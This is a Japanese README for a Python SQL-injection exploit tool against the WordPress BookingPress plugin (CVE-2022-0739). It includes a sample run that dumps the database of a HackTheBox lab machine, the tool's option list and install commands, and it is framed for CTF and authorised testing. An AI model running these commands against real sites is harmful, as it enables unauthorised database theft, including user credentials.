
WP BookingPress(< 1.0.11)用エクスプロイト、destr4ct POCに基づく。
CVE-2022-0739 BookingPress エクスプロイトに対する私の実装です。destr4ct 氏のPOCに基づいています - ただ少し見栄えを良くしただけです。
HackTheBox の MetaTwo マシンに対する使用例です。このマシンには、脆弱性のある bookingpress プラグイン(バージョン 1.0.10)を搭載した WordPress がホストされています。
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
要約:教育目的のみに使用してください。所有していないもの、またはペンテストの許可を得ていないものを壊さないでください。このプログラムを不正な目的で使用した場合、サイバーセキュリティの神々があなたのコンピュータを壊滅的なマルウェアで打ちのめすかもしれません。そのときはきっと、Macを買っておけばよかったと思うことでしょう。